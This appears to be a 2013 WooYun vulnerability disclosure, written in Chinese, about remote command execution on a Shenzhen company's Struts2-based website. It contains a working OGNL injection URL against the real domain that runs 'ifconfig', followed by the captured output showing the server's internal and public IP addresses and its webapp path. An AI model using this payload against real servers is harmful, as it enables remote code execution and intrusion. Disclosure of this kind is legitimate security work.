漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-033532
漏洞标题：深圳利谱信息技术有限公司远程命令执行
相关厂商：深圳市利谱信息技术有限公司
漏洞作者： 川川
提交时间：2013-08-05 18:27
修复时间：2013-09-19 18:27
公开时间：2013-09-19 18:27
漏洞类型：系统/服务补丁不及时
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-08-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-09-19： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
最近很流行
详细说明：
http://www.tiptop.com.cn/tiptop/tiptop/product.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(%22ifconfig%22)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
dir:/srv/apache-tomcat-6.0.35/webapps/tiptop/
漏洞证明：
eth0 Link encap:Ethernet HWaddr 00:16:3E:00:11:74 inet addr:10.241.15.212 Bcast:10.241.15.255 Mask:255.255.240.0 inet6 addr: fe80::216:3eff:fe00:1174/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:52461899 errors:0 dropped:0 overruns:0 frame:0 TX packets:69889 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:5678731980 (5.2 GiB) TX bytes:4651781 (4.4 MiB) eth1 Link encap:Ethernet HWaddr 00:16:3E:00:11:68 inet addr:223.4.9.8 Bcast:223.4.15.255 Mask:255.255.240.0 inet6 addr: fe80::216:3eff:fe00:1168/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:58051954 errors:0 dropped:0 overruns:0 frame:0 TX packets:3317440 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:3786844931 (3.5 GiB) TX bytes:4484556753 (4.1 GiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:6419783 errors:0 dropped:0 overruns:0 frame:0 TX packets:6419783 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2666450781 (2.4 GiB) TX bytes:2666450781 (2.4 GiB)
修复方案：
升级
版权声明：转载请注明来源 川川@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝